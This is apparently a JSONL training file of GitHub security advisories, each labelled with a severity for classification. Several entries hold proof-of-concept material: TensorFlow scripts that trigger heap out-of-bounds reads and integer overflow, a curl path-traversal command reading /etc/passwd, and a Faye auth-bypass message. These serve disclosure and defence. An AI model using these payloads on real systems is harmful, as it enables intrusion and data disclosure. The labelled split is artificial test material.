-{"id": "88842cf1f8edb592599a", "text": "Open Redirect in hekto\n\nWithdrawn: Duplicate of GHSA-qmm9-x5gr-4gfm", "text_raw": "Open Redirect in hekto\n\n[Severity: LOW]\n\nWithdrawn: Duplicate of GHSA-qmm9-x5gr-4gfm", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-27", "split": "train"}
-{"id": "474f4c53c8ac58f57508", "text": "Directory Traversal in Django\n\nIn Django 2.2 before 2.2.20, 3.0 before 3.0.14, and 3.1 before 3.1.8, MultiPartParser allowed directory traversal via uploaded files with suitably crafted file names. Built-in upload handlers were not affected by this vulnerability.", "text_raw": "Directory Traversal in Django\n\n[Severity: MEDIUM]\n\nIn Django 2.2 before 2.2.20, 3.0 before 3.0.14, and 3.1 before 3.1.8, MultiPartParser allowed directory traversal via uploaded files with suitably crafted file names. Built-in upload handlers were not affected by this vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-08", "split": "train"}
-{"id": "4037694366a68a8fd745", "text": "Heap OOB in TFLite's `Gather*` implementations\n\n### Impact\nTFLite's [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.\n\nHence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.\n\nSimilar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.compat.v1.disable_v2_behavior()\n\nparams = tf.compat.v1.placeholder(name=\"params\", dtype=tf.int64, shape=(1,))\nindices = tf.compat.v1.placeholder(name=\"indices\", dtype=tf.int64, shape=())\n\nout = tf.gather(params, indices, name='out')\n\nwith tf.compat.v1.Session() as sess:\n   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])\n   tflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninput_details = interpreter.get_input_details()\noutput_details = interpreter.get_output_details()\n\nparams_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))\nindices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())\ninterpreter.set_tensor(input_details[0]['index'], params_data)\ninterpreter.set_tensor(input_details[1]['index'], indices_data)\n\ninterpreter.invoke()\n```\n\n### Patches\nWe have patched the issue in GitHub commits [bb6a0383ed553c286f87ca88c207f6774d5c4a8f](https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f) and [eb921122119a6b6e470ee98b89e65d721663179d](https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security  guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "Heap OOB in TFLite's `Gather*` implementations\n\n[Severity: MEDIUM]\n\n### Impact\nTFLite's [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.\n\nHence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.\n\nSimilar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.compat.v1.disable_v2_behavior()\n\nparams = tf.compat.v1.placeholder(name=\"params\", dtype=tf.int64, shape=(1,))\nindices = tf.compat.v1.placeholder(name=\"indices\", dtype=tf.int64, shape=())\n\nout = tf.gather(params, indices, name='out')\n\nwith tf.compat.v1.Session() as sess:\n   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])\n   tflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninput_details = interpreter.get_input_details()\noutput_details = interpreter.get_output_details()\n\nparams_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))\nindices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())\ninterpreter.set_tensor(input_details[0]['index'], params_data)\ninterpreter.set_tensor(input_details[1]['index'], indices_data)\n\ninterpreter.invoke()\n```\n\n### Patches\nWe have patched the issue in GitHub commits [bb6a0383ed553c286f87ca88c207f6774d5c4a8f](https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f) and [eb921122119a6b6e470ee98b89e65d721663179d](https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security  guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7af885274650b68fe4c3", "text": "Malicious Package in babel-loqder\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in babel-loqder\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "21f334b4f36b891c768c", "text": "Path Traversal in localhost-now\n\nAll versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.", "text_raw": "Path Traversal in localhost-now\n\n[Severity: HIGH]\n\nAll versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.\n ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-11", "split": "train"}
-{"id": "8f22ea94bb3400c55228", "text": "Malicious Package in bictoind-rpc\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bictoind-rpc\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "1d6c4e8cb95f69af0c2b", "text": "Cross-site scripting in Apache Jena Fuseki\n\nA vulnerability in the HTML pages of Apache Jena Fuseki allows an attacker to execute arbitrary javascript on certain page views. This issue affects Apache Jena Fuseki from version 2.0.0 to version 4.0.0 (inclusive).", "text_raw": "Cross-site scripting in Apache Jena Fuseki\n\n[Severity: MEDIUM]\n\nA vulnerability in the HTML pages of Apache Jena Fuseki allows an attacker to execute arbitrary javascript on certain page views. This issue affects Apache Jena Fuseki from version 2.0.0 to version 4.0.0 (inclusive).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "42de38f31f538bbd06ad", "text": "Authentication and extension bypass in Faye\n\nOn 20 April 2020 it was reported to me that the potential for authentication bypass exists in [Faye][1]'s extension system. This vulnerability has existed in the Node.js and Ruby versions of the server since version 0.5.0, when extensions were first introduced, in July 2010. It is patched in versions 1.0.4, 1.1.3 and 1.2.5, which we are releasing today.\n\nThe vulnerability allows any client to bypass checks put in place by server-side extensions, by appending extra segments to the message channel. For example, the Faye [extension docs][2] suggest that users implement access control for subscriptions by checking incoming messages for the `/meta/subscribe` channel, for example:\n\n```js\nserver.addExtension({\n  incoming: function(message, callback) {\n    if (message.channel === '/meta/subscribe') {\n      if (message.ext.authToken !== 'my super secret password') {\n        message.error = 'Invalid auth token';\n      }\n    }\n    callback(message);\n  }\n});\n```\n\nA bug in the server's code for recognising the special `/meta/*` channels, which trigger connection and subscription events, means that a client can bypass this check by sending a message to `/meta/subscribe/x` rather than `/meta/subscribe`:\n\n```json\n{\n  \"channel\": \"/meta/subscribe/x\",\n  \"clientId\": \"3jrc6602npj4gyp6bn5ap2wqzjtb2q3\",\n  \"subscription\": \"/foo\"\n}\n```\n\nThis message will not be checked by the above extension, as it checks the message's channel is exactly equal to `/meta/subscribe`. But it will still be processed as a subscription request by the server, so the client becomes subscribed to the channel `/foo` without supplying the necessary credentials.\n\nThe vulnerability is caused by the way the Faye server recognises meta channels. It will treat a message to any channel that's a prefix-match for one of the special channels `/meta/handshake`, `/meta/connect`, `/meta/subscribe`, `/meta/unsubscribe` or `/meta/disconnect`, as though it were an exact match for that channel. So, a message to `/meta/subscribe/x` is still processed as a subscription request, for example.\n\nAn authentication bypass for subscription requests is the most serious effect of this but all other meta channels are susceptible to similar manipulation.\n\nThis parsing bug in the server is fixed in versions 1.0.4, 1.1.3 and 1.2.5. These should be drop-in replacements for prior versions and you should upgrade immediately if you are running any prior version.\n\nIf you are unable to install one of these versions, you can make your extensions catch all messages the server would process by checking the channel _begins_ with the expected channel name, for example:\n\n```js\nserver.addExtension({\n  incoming: function(message, callback) {\n    if (message.channel.startsWith('/meta/subscribe')) {\n      // authentication logic\n    }\n    callback(message);\n  }\n});\n```\n\n[1]: https://faye.jcoglan.com/\n[2]: https://faye.jcoglan.com/node/extensions.html", "text_raw": "Authentication and extension bypass in Faye\n\n[Severity: HIGH]\n\nOn 20 April 2020 it was reported to me that the potential for authentication bypass exists in [Faye][1]'s extension system. This vulnerability has existed in the Node.js and Ruby versions of the server since version 0.5.0, when extensions were first introduced, in July 2010. It is patched in versions 1.0.4, 1.1.3 and 1.2.5, which we are releasing today.\n\nThe vulnerability allows any client to bypass checks put in place by server-side extensions, by appending extra segments to the message channel. For example, the Faye [extension docs][2] suggest that users implement access control for subscriptions by checking incoming messages for the `/meta/subscribe` channel, for example:\n\n```js\nserver.addExtension({\n  incoming: function(message, callback) {\n    if (message.channel === '/meta/subscribe') {\n      if (message.ext.authToken !== 'my super secret password') {\n        message.error = 'Invalid auth token';\n      }\n    }\n    callback(message);\n  }\n});\n```\n\nA bug in the server's code for recognising the special `/meta/*` channels, which trigger connection and subscription events, means that a client can bypass this check by sending a message to `/meta/subscribe/x` rather than `/meta/subscribe`:\n\n```json\n{\n  \"channel\": \"/meta/subscribe/x\",\n  \"clientId\": \"3jrc6602npj4gyp6bn5ap2wqzjtb2q3\",\n  \"subscription\": \"/foo\"\n}\n```\n\nThis message will not be checked by the above extension, as it checks the message's channel is exactly equal to `/meta/subscribe`. But it will still be processed as a subscription request by the server, so the client becomes subscribed to the channel `/foo` without supplying the necessary credentials.\n\nThe vulnerability is caused by the way the Faye server recognises meta channels. It will treat a message to any channel that's a prefix-match for one of the special channels `/meta/handshake`, `/meta/connect`, `/meta/subscribe`, `/meta/unsubscribe` or `/meta/disconnect`, as though it were an exact match for that channel. So, a message to `/meta/subscribe/x` is still processed as a subscription request, for example.\n\nAn authentication bypass for subscription requests is the most serious effect of this but all other meta channels are susceptible to similar manipulation.\n\nThis parsing bug in the server is fixed in versions 1.0.4, 1.1.3 and 1.2.5. These should be drop-in replacements for prior versions and you should upgrade immediately if you are running any prior version.\n\nIf you are unable to install one of these versions, you can make your extensions catch all messages the server would process by checking the channel _begins_ with the expected channel name, for example:\n\n```js\nserver.addExtension({\n  incoming: function(message, callback) {\n    if (message.channel.startsWith('/meta/subscribe')) {\n      // authentication logic\n    }\n    callback(message);\n  }\n});\n```\n\n[1]: https://faye.jcoglan.com/\n[2]: https://faye.jcoglan.com/node/extensions.html", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-29", "split": "train"}
-{"id": "4600060b8cea95ff7487", "text": "Denial of service in direct_mail\n\nThe direct_mail extension through 5.2.3 for TYPO3 allows Denial of Service via log entries.", "text_raw": "Denial of service in direct_mail\n\n[Severity: MEDIUM]\n\nThe direct_mail extension through 5.2.3 for TYPO3 allows Denial of Service via log entries.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "90bd8530c13f9fcda671", "text": "Remote Code Execution via Script (Python) objects under Python 3\n\n### Impact\nBackground: The optional add-on package `Products.PythonScripts` adds `Script (Python)` to the list of content items a user can add to the Zope object database. Inside these scripts users can write Python code that is executed when rendered through the web. The code environment in these script objects is limited, it relies on the `RestrictedPython` package to provide a \"safe\" subset of Python instructions as well as the `AccessControl` package that defines security policies for execution in the context of a Zope application.\n\nRecently the `AccessControl` package was updated to fix a remote code execution security issue. A link to the security advisory is provided in the References section below. The bug tightens the `AccessControl` security policies for Zope by blocking access to unsafe classes inside the Python `string` module.\n\nYou are only affected if the following are true:\n\n- You use Python 3 for your Zope deployment (Zope 4 on Python 2 is not affected)\n- You run Zope 4 below version 4.6.3 or Zope 5 below version 5.3\n- You have installed the optional `Products.PythonScripts` add-on package\n\nBy default, you need to have the admin-level Zope \"Manager\" role to add or edit Script (Python) objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.\n\n### Patches\nThe problem has been fixed in `AccessControl` versions 4.3 and 5.2. Zope releases 4.6.3 and 5.3 now require these new `AccessControl` releases.\n\n### Workarounds\nA site administrator can restrict adding/editing Script (Python) objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.\n\n### References\n* [AccessControl security advisory GHSA-qcx9-j53g-ccgf](https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-qcx9-j53g-ccgf)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Zope issue tracker](https://github.com/zopefoundation/Zope/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "text_raw": "Remote Code Execution via Script (Python) objects under Python 3\n\n[Severity: HIGH]\n\n### Impact\nBackground: The optional add-on package `Products.PythonScripts` adds `Script (Python)` to the list of content items a user can add to the Zope object database. Inside these scripts users can write Python code that is executed when rendered through the web. The code environment in these script objects is limited, it relies on the `RestrictedPython` package to provide a \"safe\" subset of Python instructions as well as the `AccessControl` package that defines security policies for execution in the context of a Zope application.\n\nRecently the `AccessControl` package was updated to fix a remote code execution security issue. A link to the security advisory is provided in the References section below. The bug tightens the `AccessControl` security policies for Zope by blocking access to unsafe classes inside the Python `string` module.\n\nYou are only affected if the following are true:\n\n- You use Python 3 for your Zope deployment (Zope 4 on Python 2 is not affected)\n- You run Zope 4 below version 4.6.3 or Zope 5 below version 5.3\n- You have installed the optional `Products.PythonScripts` add-on package\n\nBy default, you need to have the admin-level Zope \"Manager\" role to add or edit Script (Python) objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.\n\n### Patches\nThe problem has been fixed in `AccessControl` versions 4.3 and 5.2. Zope releases 4.6.3 and 5.3 now require these new `AccessControl` releases.\n\n### Workarounds\nA site administrator can restrict adding/editing Script (Python) objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.\n\n### References\n* [AccessControl security advisory GHSA-qcx9-j53g-ccgf](https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-qcx9-j53g-ccgf)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Zope issue tracker](https://github.com/zopefoundation/Zope/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "91787b1a7c39197e17c4", "text": "openssl.js is malware\n\nThe `openssl.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "openssl.js is malware\n\n[Severity: HIGH]\n\nThe `openssl.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "d14fbce8bbfc88c61536", "text": "Command Injection in opencv\n\nVersions of `opencv`prior to 6.1.0 are vulnerable to Command Injection. The utils/ script find-opencv.js does not validate user input allowing attackers to execute arbitrary commands.\n\n## Recommendation\n\nUpgrade to version 6.1.0.", "text_raw": "Command Injection in opencv\n\n[Severity: LOW]\n\nVersions of `opencv`prior to 6.1.0 are vulnerable to Command Injection. The utils/ script find-opencv.js does not validate user input allowing attackers to execute arbitrary commands.\n\n\n## Recommendation\n\nUpgrade to version 6.1.0.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "99f2aa0c35babd2f5483", "text": "Open redirects on some federation and push requests\n\n### Impact\nRequests to user provided domains were not restricted to external IP addresses when calculating the key validity for third-party invite events and sending push notifications. This could cause Synapse to make requests to internal infrastructure. The type of request was not controlled by the user, although limited modification of request bodies was possible.\n\nFor the most thorough protection server administrators should remove the deprecated `federation_ip_range_blacklist` from their settings after upgrading to Synapse v1.25.0 which will result in Synapse using the improved default IP address restrictions. See the new `ip_range_blacklist` and `ip_range_whitelist` settings if more specific control is necessary.\n\n### Patches\nIssue is resolved by #8821. Further improvements to protect homeservers by default were made in #8870 and #8954.\n\n### Workarounds\nRequests to internal IP addresses could be blocked at the system or network level.", "text_raw": "Open redirects on some federation and push requests\n\n[Severity: MEDIUM]\n\n### Impact\nRequests to user provided domains were not restricted to external IP addresses when calculating the key validity for third-party invite events and sending push notifications. This could cause Synapse to make requests to internal infrastructure. The type of request was not controlled by the user, although limited modification of request bodies was possible.\n\nFor the most thorough protection server administrators should remove the deprecated `federation_ip_range_blacklist` from their settings after upgrading to Synapse v1.25.0 which will result in Synapse using the improved default IP address restrictions. See the new `ip_range_blacklist` and `ip_range_whitelist` settings if more specific control is necessary.\n\n### Patches\nIssue is resolved by #8821. Further improvements to protect homeservers by default were made in #8870 and #8954.\n\n### Workarounds\nRequests to internal IP addresses could be blocked at the system or network level.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-26", "split": "train"}
-{"id": "6f36598b41081e654cfb", "text": "Integer overflow due to conversion to unsigned\n\n### Impact\nThe implementation of `tf.raw_ops.QuantizeAndDequantizeV4Grad` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=[1.0,2.0],\n  input=[1.0,1.0],\n  input_min=[0.0],\n  input_max=[10.0],\n  axis=-100)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L126) uses the `axis` value as the size argument to `absl::InlinedVector` constructor. But, the constructor uses an unsigned type for the argument, so the implicit conversion transforms the negative value to a large integer.\n\n### Patches\nWe have patched the issue in GitHub commit [96f364a1ca3009f98980021c4b32be5fdcca33a1](https://github.com/tensorflow/tensorflow/commit/96f364a1ca3009f98980021c4b32be5fdcca33a1).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, and TensorFlow 2.4.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Integer overflow due to conversion to unsigned\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `tf.raw_ops.QuantizeAndDequantizeV4Grad` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=[1.0,2.0],\n  input=[1.0,1.0],\n  input_min=[0.0],\n  input_max=[10.0],\n  axis=-100)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L126) uses the `axis` value as the size argument to `absl::InlinedVector` constructor. But, the constructor uses an unsigned type for the argument, so the implicit conversion transforms the negative value to a large integer.\n\n### Patches\nWe have patched the issue in GitHub commit [96f364a1ca3009f98980021c4b32be5fdcca33a1](https://github.com/tensorflow/tensorflow/commit/96f364a1ca3009f98980021c4b32be5fdcca33a1).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, and TensorFlow 2.4.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "91abb6c9174f79ccb239", "text": "Parse Server stores password in plain text\n\nParse Server is an open source backend that can be deployed to any infrastructure that can run Node.js.\nIn Parse Server before version 4.5.0, user passwords involved in LDAP authentication are stored in cleartext.\nThis is fixed in version 4.5.0 by stripping password after authentication to prevent cleartext password storage.", "text_raw": "Parse Server stores password in plain text\n\n[Severity: LOW]\n\nParse Server is an open source backend that can be deployed to any infrastructure that can run Node.js.\nIn Parse Server before version 4.5.0, user passwords involved in LDAP authentication are stored in cleartext.\nThis is fixed in version 4.5.0 by stripping password after authentication to prevent cleartext password storage.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-28", "split": "train"}
-{"id": "e97e201158bc77ea7a74", "text": "Malicious Package in bitconi-ops\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitconi-ops\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "6f9541b75f9d6216d041", "text": "Missing Authentication for Critical Function in LibreNMS\n\nAn issue was discovered in LibreNMS through 1.47. A number of scripts import the Authentication libraries, but do not enforce an actual authentication check. Several of these scripts disclose information or expose functions that are of a sensitive nature and are not expected to be publicly accessible.", "text_raw": "Missing Authentication for Critical Function in LibreNMS\n\n[Severity: MEDIUM]\n\nAn issue was discovered in LibreNMS through 1.47. A number of scripts import the Authentication libraries, but do not enforce an actual authentication check. Several of these scripts disclose information or expose functions that are of a sensitive nature and are not expected to be publicly accessible.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "f2c3d80182e9be46f7e4", "text": "Apprise vulnerable to regex injection with IFTTT Plugin\n\n### Impact\nAnyone _publicly_ hosting the Apprise library and granting them access to the IFTTT notification service.\n\n### Patches\nUpdate to Apprise v0.9.5.1\n   ```bash\n   # Install Apprise v0.9.5.1 from PyPI\n   pip install apprise==0.9.5.1\n   ```\n\nThe patch to the problem was performed [here](https://github.com/caronc/apprise/pull/436/files).\n\n### Workarounds\nAlternatively, if upgrading is not an option, you can safely remove the following file:\n- `apprise/plugins/NotifyIFTTT.py`\n\nThe above will eliminate the ability to use IFTTT, but everything else will work smoothly.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Apprise](https://github.com/caronc/apprise/issues)\n* Email me at [lead2gold@gmail.com](mailto:lead2gold@gmail.com)\n\n### Additional Credit\nGithub would not allow me to additionally credit **Rasmus Petersen**, but I would like to put that here at the very least - thank you for finding and reporting this issue along with those already credited\n\n## Additional Notes:\n- Github would not allow me to add/tag the 2 CWE's this issue is applicable to (only CWE-400).  The other is: CWE-730 (placed in the title)", "text_raw": "Apprise vulnerable to regex injection with IFTTT Plugin\n\n[Severity: HIGH]\n\n### Impact\nAnyone _publicly_ hosting the Apprise library and granting them access to the IFTTT notification service.\n\n### Patches\nUpdate to Apprise v0.9.5.1\n   ```bash\n   # Install Apprise v0.9.5.1 from PyPI\n   pip install apprise==0.9.5.1\n   ```\n\nThe patch to the problem was performed [here](https://github.com/caronc/apprise/pull/436/files).\n\n### Workarounds\nAlternatively, if upgrading is not an option, you can safely remove the following file:\n- `apprise/plugins/NotifyIFTTT.py` \n\nThe above will eliminate the ability to use IFTTT, but everything else will work smoothly.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Apprise](https://github.com/caronc/apprise/issues)\n* Email me at [lead2gold@gmail.com](mailto:lead2gold@gmail.com)\n\n### Additional Credit\nGithub would not allow me to additionally credit **Rasmus Petersen**, but I would like to put that here at the very least - thank you for finding and reporting this issue along with those already credited\n\n## Additional Notes:\n- Github would not allow me to add/tag the 2 CWE's this issue is applicable to (only CWE-400).  The other is: CWE-730 (placed in the title)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "e206b7396f4ff57c27a2", "text": "Cross-Site Scripting in bootstrap-select\n\nVersions of `bootstrap-select` prior to 1.13.6 are vulnerable to Cross-Site Scripting (XSS).  The package does not escape `title` values on `<option>` tags. This may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.13.6 or later.", "text_raw": "Cross-Site Scripting in bootstrap-select\n\n[Severity: HIGH]\n\nVersions of `bootstrap-select` prior to 1.13.6 are vulnerable to Cross-Site Scripting (XSS).  The package does not escape `title` values on `<option>` tags. This may allow attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.13.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "68f2856c081c3c1dcd72", "text": "Improper authentication in Symfony\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, a vulnerability would allow an attacker to authenticate as a privileged user on sites with user registration and remember me login functionality enabled. This is related to symfony/security.", "text_raw": "Improper authentication in Symfony\n\n[Severity: HIGH]\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, a vulnerability would allow an attacker to authenticate as a privileged user on sites with user registration and remember me login functionality enabled. This is related to symfony/security.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-12", "split": "train"}
